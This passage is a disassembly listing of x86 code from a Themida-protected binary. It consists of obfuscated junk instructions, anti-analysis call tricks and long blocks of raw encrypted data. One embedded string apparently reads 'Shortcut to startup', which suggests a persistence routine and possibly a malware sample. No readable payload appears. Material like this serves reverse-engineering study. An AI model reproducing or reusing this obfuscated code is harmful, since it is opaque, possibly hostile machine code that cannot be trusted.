		mov	[ebp+6A80FC1h],	eax
		jmp	loc_59EC83
; ---------------------------------------------------------------------------
		dw 7F14h
		dd 0EF949A27h, 1996CB4Ah, 0A2F54A19h
; ---------------------------------------------------------------------------
		inc	edi
		sbb	ebx, ecx


loc_59EC6F:				; CODE XREF: Themida_:0059EC4Dj
		mov	edx, [ebp+6A830B5h]
		jmp	loc_59EBE2
; ---------------------------------------------------------------------------
		dw 8109h
		dd 0BA000833h
		db 0EAh, 0AAh, 83h
; ---------------------------------------------------------------------------


loc_59EC83:				; CODE XREF: Themida_:0059EC59j
		call	sub_59EC99
		sub	al, 71h
		sal	dword ptr [ebx-5Fh], 0A9h
		ficomp	dword ptr [ebp+30007A0h]
		jmp	short near ptr loc_59ECCE+2
; ---------------------------------------------------------------------------
		cmc
		adc	bl, [esi]

; =============== S U B	R O U T	I N E =======================================



sub_59EC99	proc near		; CODE XREF: Themida_:loc_59EC83p
		call	near ptr loc_59ECA3+1
		adc	[edi], edx
		repne inc edx
		push	ebx


loc_59ECA3:				; CODE XREF: sub_59EC99p
		mov	word ptr [ecx+5Fh], ds
sub_59EC99	endp ; sp-analysis failed

		mov	[ebp+6A82DADh],	esi
		add	edi, 631Fh
		adc	cx, 0CA47h
		mov	eax, 4D5C92E0h
		add	eax, 0B2A385A9h
		pusha
		mov	esi, [ebp+6A80E3Dh]
		mov	bh, 71h
		popa
; START	OF FUNCTION CHUNK FOR sub_59ECE0


loc_59ECCC:				; CODE XREF: sub_59ECE0+90j
		push	dword ptr [edi]


loc_59ECCE:				; CODE XREF: Themida_:0059EC94j
		call	sub_59ECE0
		fiadd	dword ptr [esi-76242E70h]
		pop	eax
		cmpsd
		mov	ch, [edx]
		push	esp
; END OF FUNCTION CHUNK	FOR sub_59ECE0
; ---------------------------------------------------------------------------
		dw 0E2C4h

; =============== S U B	R O U T	I N E =======================================



sub_59ECE0	proc near		; CODE XREF: sub_59ECE0:loc_59ECCEp

var_78		= byte ptr -78h

; FUNCTION CHUNK AT 0059ECCC SIZE 00000012 BYTES

		mov	[ebp+6A8219Dh],	ebx
		pop	edx
		pop	esi
		jmp	loc_59ECF3
; ---------------------------------------------------------------------------
		db 23h,	76h, 36h
		db 7Bh,	33h, 0EAh
; ---------------------------------------------------------------------------


loc_59ECF3:				; CODE XREF: sub_59ECE0+8j
		sub	esi, 50FD1528h
		add	ebx, [ebp+6A801DDh]
		add	esi, 73418E3Fh
		add	ecx, 691ECC16h
		sub	esi, 0F6B64F2h
		mov	ecx, [ebp+6A82C79h]
		push	esi
		jmp	loc_59ED2B
; ---------------------------------------------------------------------------
		mov	ch, 0C7h
		mov	edx, 8D62A347h
		adc	al, dh
		and	[esp+edi*8-77h], al


loc_59ED2B:				; CODE XREF: sub_59ECE0+38j
		pop	dword ptr [edi]
		mov	edx, [ebp+6A8346Dh]
		sub	edi, 4
		xor	bl, 0
		dec	eax
		jnz	loc_59ED65
		jmp	loc_59ED4D
; ---------------------------------------------------------------------------
		db 7Bh,	4Eh, 7Dh
		dd 0E1332880h
; ---------------------------------------------------------------------------
		push	edx


loc_59ED4D:				; CODE XREF: sub_59ECE0+60j
		jmp	loc_59ED87
; ---------------------------------------------------------------------------
		dw 0AD75h
; ---------------------------------------------------------------------------
		test	al, 8
		call	fword ptr [eax+4Dh]
		push	74BEDD31h
		mov	edi, 153A0B7Ch
		sub	al, 0B8h


loc_59ED65:				; CODE XREF: sub_59ECE0+5Aj
		pusha
		movsx	ecx, si
		mov	[ebp+6A8227Dh],	eax
		popa
		jmp	loc_59ECCC
; ---------------------------------------------------------------------------
		db 87h,	5, 31h
		dd 0FC81C8F0h, 8FA8654h, 0ED431B41h
		db 2Eh,	0F3h, 5Ah
; ---------------------------------------------------------------------------


loc_59ED87:				; CODE XREF: sub_59ECE0:loc_59ED4Dj
		lea	ecx, [ebp+6AD545Dh]
		mov	bh, 3Dh
		mov	[ebp+6A805B9h],	ecx
		push	0
		push	edx
		call	sub_59EDA0
		and	[edx-3Dh], bl
sub_59ECE0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_59EDA0	proc near		; CODE XREF: sub_59ECE0+B8p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_59EDA0	endp

; ---------------------------------------------------------------------------
		dd 0E745DDEEh, 2CBBFA36h, 0C77B0D06h, 0A8146985h, 58C006h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 8953158Bh, 0A7D01BE0h, 0BD85C772h, 6A80Bh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 1558C357h, 0ED3DCC42h,	958BEEB8h
		dd 6A80BEDh, 0B5FFD08Bh, 6A80E01h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 58C35141h, 4D7893E7h, 8B90EA08h
		dd 0A813FDB5h, 0DD95FF06h, 0F06A820h, 8E9F2B7h,	9E000000h
		dd 7372B7E6h, 6AD14C28h, 3195FF00h, 8B06A81Bh, 0A549EBC0h
		dd 0DE245E66h, 8D7F128h, 0FDB109B4h, 30B62CEBh,	786264CAh
		dd 2BC98462h, 478D294Dh, 71A6698Ch, 284E6C3Bh, 0B84F44C1h
		dd 983E8620h, 61455FDDh, 0A8371362h, 0E1DF7B52h, 0C7748646h
		dd 8E0F727Bh, 58952760h, 96C05AE3h, 17FD9D8Dh, 2AB806A8h
		dd 89000000h, 0A8255585h, 0E806h, 5580000h, 0Dh, 2AE90389h
		dd 0
		dd 9 dup(77E600h), 0FF77E600h, 0EE8FFh,	56D80000h, 0F9F5891h
		dd 313D4855h, 72202418h, 68A0Fh, 0C2810000h, 6749F8ADh
		dd 8E858h, 732A0000h, 0A962A740h, 880FBDC5h, 13h, 0DE8h
		dd 9D451300h, 38B54071h, 0C2F6F9B4h, 5A59BEFDh,	5CC2C081h
		dd 0AFB90000h, 683FD5F4h, 1705h, 0FA54BF66h, 0C981665Bh
		dd 308B566Dh, 81CA8B66h, 0C987C5C6h, 0C681F86Dh, 63ABB7DFh
		dd 1E830Fh, 12E80000h, 1F000000h, 543B39FDh, 0A079E9F7h
		dd 0D1423883h, 65F51FB5h, 6CE9819Ch, 5A3A1261h,	3D4BF681h
		dd 20BF32E8h, 894F2A5Eh, 1E88330h, 137CB966h, 83484848h
		dd 850F01EBh, 0FFFFFFAAh, 7BE9h, 1DD8B500h, 6F685353h
		dd 75637472h, 6F742074h, 61747320h, 70757472h, 19h dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_59FE43
; ---------------------------------------------------------------------------
		push	6AD57C2h
		jmp	loc_55E058
; ---------------------------------------------------------------------------
		push	6AD58ABh
		jmp	loc_55E058
; ---------------------------------------------------------------------------
		push	6AD5A73h
		jmp	loc_55E058
; ---------------------------------------------------------------------------
		push	6AD5AB9h
		jmp	loc_55E058
; ---------------------------------------------------------------------------
		push	6AD5B7Ah
		jmp	loc_55E058
; ---------------------------------------------------------------------------
		push	6AD5BE5h
		jmp	loc_55E058
; ---------------------------------------------------------------------------
		push	6AD5F72h
		jmp	loc_55E058
; ---------------------------------------------------------------------------
		push	6AD6214h
		jmp	loc_55E058
; ---------------------------------------------------------------------------
		push	6AD6300h
		jmp	loc_55E058
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0C5B9DA20h, 72406593h, 0F6C4E915h, 6056778Bh, 3AE18278h
		dd 0EA104832h, 718FF5C9h, 0FB0F7E4Ch, 7F3E4DAh,	0F9195E66h
		dd 580CA85Dh, 0D2A09F18h, 4BD94DB9h, 0C4C7E410h, 46A8591Bh
		dd 5BF9F373h, 8F31E53Ch, 0A7F61F63h, 0DA15701h,	683ACEBFh
		dd 82ABE47Ch, 896728E8h, 561EF46Fh, 3A7Fh, 649FC000h, 10DBA268h
		dd 0A92CEF7Dh, 9DFD0240h, 5BF96D1Ch, 0D32CFE21h, 0CA58ACDFh
		dd 0D67AA467h, 6CA7F99Fh, 0EB0DE3ACh, 0FB561F6Fh, 766186F7h
		dd 2E732382h, 0D29A6Fh,	0D2A70000h, 4BD94DB9h, 0E331E51Fh
		dd 8A7E6F88h, 0B5D5162Bh, 5EA1FE19h, 58A2DE54h,	0A65205F9h
		dd 60F2B5F4h, 284DB9D2h, 0A1F9D536h, 2ADE895Eh,	0D7A7889h
		dd 0EB9C2EF1h, 7E748F1Fh, 0B83FFE00h, 8B23435Fh, 0E9A15E05h
		dd 18990DF3h, 86BB1A85h, 6067964h, 215A58A4h, 48D5FBB1h
		dd 2988EA5Bh, 57D62255h, 713459C8h, 72B9AE88h, 7B63880Eh
		dd 47076798h, 52A2AF79h, 38A02ED3h, 0CBB13DC2h,	0E57FAE51h
		dd 0D2B57C5Ah, 3D5EE140h, 0BEB1149h, 3F8F0705h,	0D4AC21B3h
		dd 1000000Bh, 81F5966Ch, 0E7C21D7h, 0BA08AD51h,	3C9233CFh
		dd 7E1DBE44h, 0A65C04F6h, 35CBB105h, 0BF4B2290h, 0CB3FA81Eh
		dd 35559AAAh, 580CA999h, 0D2645BD4h, 5B2F4CB6h,	60B7D420h
		dd 8C78139Fh, 0BE2B9B1Eh, 0CE51D042h, 53ECAE4Bh, 180D4F28h
		dd 0BE01D0B2h, 0F7982141h, 7AA55BF9h, 19DA76A8h, 0D060A7F6h
		dd 0F5F711FFh, 0BDE7561Eh, 0A6000000h, 0D5C3625Fh, 6928F8FFh
		dd 3C5E9F76h, 5EA1FE90h, 0B16C96F2h, 6C1FAF6Eh,	0CCB40A98h
		dd 0A6C80936h, 5EA1FE0Eh, 7D6AD84Bh, 72AC3E81h,	5EA1F991h
		dd 2DD9B200h, 48AFD86Ah, 0FA3FEF13h, 53047A1Bh,	6996F7A7h
		dd 0E9F4162Bh, 0CAA40606h, 96733A5Bh, 3CCB2BD4h, 81A2AF80h
		dd 0F5EDE11Eh, 0AB853151h, 51D0AC0Ch, 255D51EEh, 2BEA4FDFh
		dd 0F60C744Ah, 8EF70C14h, 0D538AA3Fh, 0AEBh, 0DEFF0579h
		dd 6B08FEE8h, 0F7946817h, 791AE683h, 6A75D05h, 736F0F67h
		dd 0E896E489h, 54017516h, 0DC8F03A0h, 36798B28h, 0CA6B8D4h
		dd 85BCF558h, 3B28B6D2h, 47258C49h, 348A2B8Ah, 316B743h
		dd 8A76139Fh, 0A4169918h, 0AE70A333h, 23A9E3FBh, 79D8BB45h
		dd 906417A5h, 0AADCD2F3h, 0B15EDD5Ch, 810D4EF3h, 0BC6225DBh
		dd 5BF9A4F5h, 0DB767BEh, 0A7F9A4E5h, 7022D687h,	3CAA4522h
		dd 0AEB363C2h, 0F298B11Eh, 799F715Eh, 65561F69h, 14h, 7A6EDCAh
		dd 0ABEC0000h, 0A1FE234Bh, 47376E5Eh, 3120E315h, 3BADFCE5h
		dd 9CCB59CDh, 8C6FB260h, 0B7F2142Dh, 785BF9D1h,	0B4277529h
		dd 3CAF2340h, 22A85AC8h, 0FA84B22Ch, 6C1F256Ah,	706B6798h
		dd 5F600584h, 0CFAE4224h, 0B2A207AFh, 14D352CCh, 6E31E6C2h
		dd 0CF5FABDCh, 39CDBE34h, 309A876h, 7265CCB2h, 0D5861486h
		dd 0C9998D21h, 85DEEFC6h, 0FAA85C09h, 0B84F4B7h, 8DB24631h
		dd 3822A4Ch, 0ACFCCB2h,	0B2034CE8h, 379609CCh, 0C8A31774h
		dd 61B46E3Ch, 0AE875869h, 9C681D91h, 1E246B1Dh,	86F4996Dh
		dd 88D21D5h, 7294ADEFh,	0C9EA1C97h, 0BA1DA58h, 0CA2E43EBh
		dd 34970ED5h, 830F3055h, 0FA9918E4h, 0BBF9E680h, 13494586h
		dd 9F42AEDh, 0EAD0923Ah, 0E97F86BBh, 5CD85AD9h,	5F8F682Bh
		dd 0B071C340h, 31CE8C75h, 0B02BC4BDh, 6411E544h, 1C9F0290h
		dd 7EDA83E3h, 4CD7FD48h, 0D0927FDEh, 913FD42Fh,	0BA117A88h
		dd 0E65437C3h, 7E8302F4h, 6DC9B13Dh, 0ABF4E10Dh, 9275ACFEh
		dd 2D52CF13h, 0C45FFBFDh, 30C4B73Bh, 0B84C3F93h, 7D02F8DAh
		dd 18C1E54h, 923h, 0A6C73DA1h, 3350A6D0h, 0BFDC205Fh, 41629ECBh
		dd 0CEEF154Dh, 2B57472Fh, 0A0DEACD1h, 1C493D5Eh, 84F7CBE8h
		dd 0EE315370h, 0CA4608Ch, 0CDE42D58h, 8874139Fh, 0A614971Ah
		dd 795DC135h, 8FCD23A2h, 8DDB01Dh, 7B6B0000h, 0FCEEDC81h
		dd 6E15690Ah, 0E49DF192h, 5B077B18h, 1559FCA1h,	0E6877D65h
		dd 7714EA90h, 0FD9E6A03h, 892ADE89h, 0BAD2347Bh, 0F7580CA4h
		dd 139F87BAh, 9D1C8E7Ah, 0FEEA0264h, 7CA75EA1h,	0AA5E09BDh
		dd 9A325495h, 0D75EA1FEh, 8659CD4Ch, 0CDBB5E08h, 7DD15033h
		dd 37DEFF05h, 446A3C3h,	0EA229BFBh, 940F5BF9h, 0DC9A7373h
		dd 0A24FE65Ah, 263F5FE0h, 936C6093h, 0DE3B8210h, 0C022639Ch
		dd 6E537C94h, 2FFBEE1h,	5A541E0h, 0E33726Bh, 4637DA80h
		dd 0AF50D3B2h, 8377606Eh, 0BF0F8E13h, 8B0738CCh, 307125DFh
		dd 0FFF30C71h, 8B71698Eh, 74377A28h, 0FD6195C6h, 0E764BA87h
		dd 1C82F361h, 0A8000008h, 0D9ADCE34h, 463459AFh, 0F2C0E519h
		dd 744A6B97h, 36D5F60Ch, 0DE245C3Eh, 6D93C9BDh,	0F7037A48h
		dd 3F7E0D6h, 0FD1D2262h, 580CA551h, 0D2BC931Ch,	4BD94DB9h
		dd 9DC5E612h, 5EA1FE91h, 0E8195B84h, 0FD2BD286h, 0BB44DF5Bh
		dd 13B04437h, 6A38CCBFh, 0A956ACD4h, 0D747BD25h, 0CD43D352h
		dd 0BA8E6C98h, 6C347109h, 7B197FEh, 4F370000h, 0C8A210B5h
		dd 0B2299D3Eh, 20592D4Eh, 9FCBBFDCh, 0D1A54065h, 2A4BB129h
		dd 0B3D02E54h, 395AAEDFh, 0C5E61245h, 0FE1678BFh, 0BB580CA5h
		dd 5E9F437Eh, 0A1FE903Ch, 0A33D855Eh, 7D9F42AAh, 2BF87FA6h
		dd 76639C60h, 2A5DF1B0h, 8DFE4CDEh, 6A17A579h, 7426D285h
		dd 72C05235h, 953EEC16h, 0C8FDD4FBh, 3AAD9738h,	0EB0DADCEh
		dd 0F35CC713h, 490h, 0BEFCE55Ch, 2B896181h, 2F565BFDh
		dd 413F29FFh, 6F9CB8BFh, 0AAF5682Bh, 9A6E1995h,	115BB2F9h
		dd 5700639Dh, 193A6EECh, 7184EAE2h, 23E2CB31h, 0F2097E51h
		dd 44BEE509h, 0EE509741h, 0C5EA5976h, 0FA1C7A3Dh, 0E4DCADD1h
		dd 42h,	4CB02FA3h, 0F2E5DACDh, 0CF6787B8h, 0E85EA1FEh
		dd 4779D09Dh, 45C43737h, 34BA47DEh, 66F4B743h, 0C344D0BCh
		dd 0E9A66A3Eh, 6014E107h, 10CD3Ch, 0ED520000h, 18Bh, 3F1591ECh
		dd 9C5373A2h, 0F2E50A1Dh, 5738EAB8h, 0D397BE22h, 587E903Fh
		dd 46E35AA2h, 3Ah, 7A139FEBh, 61880F8Eh, 19497B2Bh, 0BB97BE22h
		dd 0D16737C1h, 4CE80AA8h, 9D8326Ah, 2673796h, 5E745D72h
		dd 0FA7CE35h, 659AB6ECh, 13FDD2A2h, 0E35AF1F5h,	6CF9h
		dd 0F2E54600h, 0C3A63EABh, 0E44C7003h, 0A859389Bh, 0C447B32Ah
		dd 0DBB3DB3Bh, 0A7FE5EA1h, 0BC49F20Bh, 5EB01FF7h, 5CC77938h
		dd 618DED2Eh, 2C5EA1A0h, 36C532F5h, 6A000000h, 8B75139Fh
		dd 206A8D08h, 6E0E41Fh,	1D12CE53h, 0EB05659Ah, 0AA5EA19Eh
		dd 0B420D57Bh, 1EFA0D0h, 5CC772E7h, 6F99F3FFh, 75BACh
		dd 0EDE40000h, 0C7h, 97ED02h, 0E5020000h, 38EAB8F2h, 0ABF24143h
		dd 729C33C7h, 776CF54h,	45F11152h, 10F40E4Ah, 5BF90E91h
		dd 46000000h, 87B8F2E5h, 0A1FECF67h, 0E61B8A5Eh, 8609FDE8h
		dd 0E366EA14h, 3CDC3E81h, 0E25B7D93h, 31433CA6h, 0EC000000h
		dd 87B8F2E5h, 0A1FECF67h, 0E61B8A5Eh, 980AF0E8h, 0DA049619h
		dd 8381E396h, 14632CECh, 2C1BB3D3h, 0CF56CC7Eh,	0E50C2A4Ch
		dd 712EFA6h, 3F000000h,	46EDh, 0B9D20200h, 8A27D94Dh, 0DC5EA1FEh
		dd 169CEBA4h, 23D98164h, 0CC4FD240h, 0D4F90D7Eh, 0B8F2E545h
		dd 0D0327394h, 5EA1FEA4h, 80EFAEF1h, 4A450BCFh,	0A203CA1Ch
		dd 86A3C75Eh, 6A5CC706h, 0FFFFFF47h, 282EDB7h, 0D2020000h
		dd 4BD94DB9h, 0C4C7E410h, 46A8591Bh, 5BF9F373h,	9133275Eh
		dd 0FEED1E64h, 189B7A8Ch, 56881A85h, 0A7F6613Ah, 13047F80h
		dd 0F4EC43Eh, 8B0BA3C3h, 0DF46A7F6h, 0C4CBBD7Ch, 0BE423FB3h
		dd 0ACCA4DECh, 561E878Ah, 3794h, 0FCE5BD00h, 586181BEh
		dd 655BF9E2h, 6FE053Ah,	2BB44D34h, 8C36A467h, 0A7F6D764h
		dd 0E2953ADEh, 880BF7ECh, 1E37C8EEh, 5BA7DE56h,	0F105CCF2h
		dd 0DADE2BEAh, 63000000h, 0D94DB9D2h, 31E51F4Bh, 0AE7C88E3h
		dd 0FA9B6F18h, 0A1F907E8h, 7480FB5Eh, 29498ACBh, 0A15E028Dh
		dd 6D8959C8h, 28A15E02h, 914272F9h, 9DD82A89h, 0D532791Ah
		dd 0A4136A97h, 74A31711h, 2F709110h, 5E95C5D4h,	0C06CAA27h
		dd 8DD01366h, 5DD5C3Fh,	0A40781F4h, 0A2D966B9h,	40DC370Fh
		dd 0EB149701h, 5C01FBE7h, 55FDD823h, 7D2EF62Eh,	0AF97E520h
		dd 84BD1C68h, 0F444CA62h, 9D1C87A7h, 0EB4BB129h, 34761861h
		dd 2448C557h, 0A0000004h, 0D1A5C63Ch, 5E2C51A7h, 0CAB8DD21h
		dd 4C42639Fh, 2ECDEE14h, 0D62C5446h, 659BC1B5h,	0EF1B7240h
		dd 7B8FF8CEh, 85E52A5Ah, 580CA169h, 9FB4EB24h, 188A7613h
		dd 3CA41699h, 169CA5C6h, 0A7179668h, 0C43FC034h, 0CBAFEA34h
		dd 5439F8B1h, 4DB9D2C5h, 0A5C506D9h, 5EA1FE09h,	1887716Bh
		dd 0B215E19Ah, 0DC2843F3h, 5113FCBFh, 0CC2E6FB0h, 5EA1FEA0h
		dd 3288A5B5h, 6A39BAEEh, 43A6783Bh, 0C5BF920h, 1E116C95h
		dd 24E69543h, 0FF5EA8C2h, 5A69E178h, 0EBAAD959h, 706A687Bh
		dd 0B5DB0786h, 16A7F93Ch, 0A7404D42h, 2B565CE5h, 856492C4h
		dd 3C9DFD02h, 1A2A123h,	51BEFD9Eh, 0DC8CEE13h, 0E1A94DBEh
		dd 560D81BEh, 8DF809AAh, 62147DD4h, 0A4A30694h,	9918B3CBh
		dd 0A20F2349h, 0DC285DB2h, 57F4BFh, 0E8130000h,	0CBCBA370h
		dd 0DC295CF2h, 960B7BFEh, 0BE4659D8h, 5EA1FE12h, 0B9DA9847h
		dd 0B0629EC5h, 0A1FEE60Eh, 1260E15Eh, 1FB7D775h, 5A5EA1FEh
		dd 0D7A968CBh, 59A5C2F8h, 0F0174634h, 18BD7185h, 35970E24h
		dd 0BB0BEA2Ah, 0C25033CDh, 0A1A7F120h, 0F5DAEA5Eh, 496A9ECFh
		dd 6D649FD6h, 0B755269Bh, 54A2D4A6h, 937461D5h,	0FFAF0EFAh
		dd 5AC83CA9h, 0B66492C4h, 11857960h, 28018E42h,	0F0CAC59Bh
		dd 124C7185h, 5EA14A82h, 0A4D2F793h, 80DE5CC7h,	63FFFFFFh
		dd 0D94DB9D2h, 0C7E4104Bh, 0F11D7DBEh, 0DE5EA1FEh, 0A1FE10BCh
		dd 5FC25D5Eh, 6DD8DAA0h, 23824351h, 0ADFCE560h,	0D455C937h
		dd 23827466h, 0A9D1DD1Eh, 805EC353h, 5EA1C454h,	0C23FFE21h
		dd 0F9C929A0h, 1B8B1A5Bh, 0F9E549E9h, 705FF3A7h, 1F2E789Eh
		dd 546656h, 0DE250000h,	53F6F641h, 0CB53E097h, 80954580h
		dd 0EF4E58C2h, 0BE21C9F2h, 66356181h, 2180A7F9h, 139F8F9Eh
		dd 2157E878h, 855756E0h, 2A317022h, 58AFC518h, 890C8FCDh
		dd 0FD1D2260h, 5BF9743Ch, 0D20C9E01h, 0A7F996BEh, 0B55B7404h
		dd 561F7693h, 0D49Bh, 0B9D2A400h, 48DA2C5Eh, 69406E9h
		dd 0D103C45Ah, 7CF54FB4h, 0C0BB099Dh, 0D4870B34h, 0BF0D6120h
		dd 4B9B38CCh, 5EA10E68h, 0C12E5B57h, 6CCD6197h,	0CFB80A8Dh
		dd 0B3249A3Bh, 8976D747h, 95F536CBh, 5EA10C79h,	0D52AED34h
		dd 0FAF648B5h, 0D9FA255Bh, 0CA7735D2h, 0A0821BA8h, 0C3B43AA2h
		dd 43C26737h, 7BBC45DCh, 27F70977h, 0D7B30382h,	0BEFB1373h
		dd 6FB6AC0Fh, 0EF9BEF8Ch, 0E2ADB115h, 198B3F8Dh, 182B4h
		dd 649EC600h, 0EF197347h, 7F83F8CEh, 8D71685Eh,	14EE9AE8h
		dd 0FEA0D477h, 675B7882h, 90E68779h, 1E6C11E5h,	0C8F4996Dh
		dd 9CCF6787h, 0D8A580Ch, 4CB6D212h, 0D9D5162Fh,	67CA58ACh
		dd 0A1FE53FBh, 0E3941E5Eh, 43228717h, 0A86B95F3h, 0F095611Ah
		dd 0DAFCE521h, 0CB54DAE7h, 0A85938C1h, 84706B67h, 0A145325Ah
		dd 51FD1D5Eh, 1C5EA145h, 4871E85h, 591E9BFBh, 80235BF9h
		dd 7340F012h, 56FAA7F9h, 9C719779h, 9B7D561Fh, 0C2000000h
		dd 0D94DB9D2h, 85F61F4Bh, 8918BD71h, 99820282h,	7B2B8A6Dh
		dd 0A11B6649h, 9B6F185Eh, 27D384FAh, 0ABE91677h, 0D9897496h
		dd 5F6A5BFAh, 2E61AC36h, 7D1E8152h, 6E93D13Eh, 0A0D4500Ch
		dd 3DC25DA2h, 8857C9B1h, 46351B1Eh, 46F8FE6h, 75D40307h
		dd 0E59DF192h, 0B3A9BF1Fh, 0ED7F3F8Dh, 9660h, 48B2D200h
		dd 0D325572Bh, 5BA7DCB2h, 0E11D443Ah, 6892CEBCh, 0D2CCA04Bh
		dd 5B2F4CB6h, 0DCB2D32Dh, 4A385DA9h, 0BCC0E511h, 9DF31B7Bh
		dd 71BE580Ch, 4CB6D25Eh, 0D4205B2Fh, 0B9D260B7h, 8806D94Dh
		dd 257B2BDFh, 55D446B2h, 0E88333F2h, 2798E31Ch,	6AD990A4h
		dd 87066726h, 0A6520B5Ah, 2DD2B5F4h, 0FD4311CDh, 91059C5Bh
		dd 0FF9C6803h, 7624D08Bh, 41400E4Ch, 49461E52h,	0CFEC1873h
		dd 0A67480FBh, 1956910h, 0B78D02CEh, 3F9330C4h,	6BEAB84Ch
		dd 3, 0D2F1E088h, 44DA48B2h, 0E137E713h, 1C9200F4h, 0B40A9866h
		dd 0D66436CCh, 4CC250AAh, 0E735E915h, 9604F8h, 14F2A056h
		dd 15C268h, 242C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	1B40h
		mov	[esp], ebx
		push	63160CCBh
		pop	edx
		shl	edx, 6
		sub	edx, 4C6F5E41h
		add	edx, 8D99820Fh
		push	28DDh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	edx
		sub	dword ptr [esp], 4B8E0C0Ch
		pop	dword ptr [ebx+8]
		add	dword ptr [ebx+8], 4B8E0C0Ch
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55E058
; ---------------------------------------------------------------------------
		and	edi, ecx


loc_59FE43:				; CODE XREF: Themida_:0059F03Cj
		mov	eax, 6AD63BBh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 6A5FA7DBh, 3684D339h, 64CF3D79h, 6575D4D0h, 0C48DC75h
		dd 2AD7176Fh, 692C1234h, 61CF1247h, 148FE34Dh, 25748D8Dh
		dd 4741E323h, 31C1B072h, 2BD62867h, 1ACB323Ch, 5C4AE588h
		dd 121663B2h, 1EB4FAF5h, 52F1E21Ah, 408A8CCBh, 1C7C7CC6h
		dd 394CC40Fh, 7F069492h, 1BBC208Fh, 94659DFh, 0B0E9h, 8C666000h
		dd 4C2F6DAh, 0C850Fh, 853B0000h, 6A831F9h, 36840Fh, 853B0000h
		dd 6A80D2Dh, 2A840Fh, 853B0000h, 6A8069Dh, 1E840Fh, 853B0000h
		dd 6A82F69h, 12840Fh, 0BD830000h, 6A80AB1h, 5840F01h, 0E9000000h
		dd 5Fh,	5203D08Bh, 88BA8B3Ch, 8B000000h, 0C985784Ah, 49840Fh
		dd 0C2810000h, 0F8h, 30C728Bh, 1C598BC8h, 314518Bh, 850B8BD8h
		dd 10840FC9h, 3B000000h, 17820FCEh, 3B000000h, 0F830FCFh
		dd 83000000h, 0F4A04C3h, 0FFFFDC85h, 0DE9FFh, 9D8D0000h
		dd 6A84FAFh, 5B8h, 61E3FF00h, 8DD00BC3h, 0AD66058Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0B7E90DFAh, 4B271FFh, 668DBE66h, 5B98D89h, 0BD3306A8h
		dd 6A83301h, 146985C7h,	609006A8h, 9D310000h, 6A82E61h
		dd 0BBD85C7h, 6A8h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 49D5BFC3h, 0B07A129h
		dd 89A1FF67h, 0A81DD18Dh, 11B5FF06h, 8B06A821h,	0E68166DAh
		dd 95FFB592h, 6A820DDh,	12E9h, 0E5227000h, 79818FF4h, 0D5EEB148h
		dd 0F79888F2h, 6A76BD4Dh, 3195FF00h, 8B06A81Bh,	0D66FEBC0h
		dd 14ACF015h, 0C21AF25Fh, 6BDCB239h, 0D3C5DF3Fh, 0EA5EF4CEh
		dd 62DB9416h, 0C9E21ED5h, 89AD7C09h, 0DB2E454Ah, 4D5C062Ch
		dd 7A38CB44h, 0B3F0C21Bh, 827D309Fh, 0D1BAE18Bh, 0C44CCD5Dh
		dd 226F139Ah, 620DBD7Ah, 83A65B47h, 0F65802E6h,	0D4284B13h
		dd 0FB5F931Ch, 0E61C5958h, 9EFE955h, 5623512Ah,	9C62E0BAh
		dd 0A20BA410h, 311CD28Dh, 5E9ED49h, 53000000h, 95880h
		dd 56EE9h, 99D07700h, 0C88DA20Dh, 0FEB7D172h, 2E6B07A8h
		dd 5B163798h, 0E13140CFh, 16B90D40h, 42ED3974h,	74DF6B22h
		dd 9A0298D1h, 3D020640h, 0BAC0B605h, 9D5CFF9Dh,	54D9B2FBh
		dd 0C3E7AACBh, 0D72763A5h, 0D97CAF57h, 0C81A1390h, 105DFE6Fh
		dd 82D43298h, 0DFF37D83h, 753A7EE9h, 91129FD6h,	0AD76BBF2h
		dd 0F558C580h, 0F5989F00h, 0DB581134h, 0B75DE9C2h, 3BBFF09h
		dd 0AE89AF58h, 4687A50Ah, 0F2BFE025h, 0AA837CADh, 0D891B31Ch
		dd 6DA8CA5Bh, 0A2380CDh, 604D8C11h, 5594B8BFh, 60867F36h
		dd 788FFA16h, 4CECA64Dh, 773E5DC6h, 97933553h, 6DAF5847h
		dd 75F556C2h, 0AF584732h, 80921398h, 12DFA694h,	8073h
		dd 5CFFD400h, 18528815h, 0FEE68578h, 0CD1B9DE0h, 0AF580BCBh
		dd 1BADCB31h, 0AF580C1Fh, 0B9D94AE5h, 3A7EAFF4h, 339CE041h
		dd 0F8B5D613h, 2F8962BBh, 0DFE39F8Bh, 127E12h, 0F6000000h
		dd 5E4F590Fh, 0BFC9FD70h, 0AF587D7Bh, 614AEE49h, 8A1752FFh
		dd 0FD121A5Ch, 92D60340h, 0B1F49906h, 0DA9FB36Ch, 0D67CFE55h
		dd 581774B4h, 440D2FAFh, 940FA982h, 3F5E410Bh, 0B8F02976h
		dd 8B1F5AF7h, 0FE4C0528h, 9B5EFFD1h, 3069B6FBh,	1F40A347h
		dd 0BC65C652h, 0ADED1F97h, 97AF57D6h, 662B4BBCh, 0DD7F208Dh
		dd 0F2960F94h, 0DAF376BBh, 0AF77DA59h, 0C26F2244h, 4BD44FE9h
		dd 69A1DB01h, 5BAF57D7h, 78B0CAF0h, 4AAF57D7h, 47E8B7E1h
		dd 6D56BC0Ah, 0F1885C0h, 0A66706A9h, 0FB67CC89h, 57D74941h
		dd 27103BAFh, 1840E14Eh, 876CCC51h, 0D4D01C1Eh,	89F712DFh
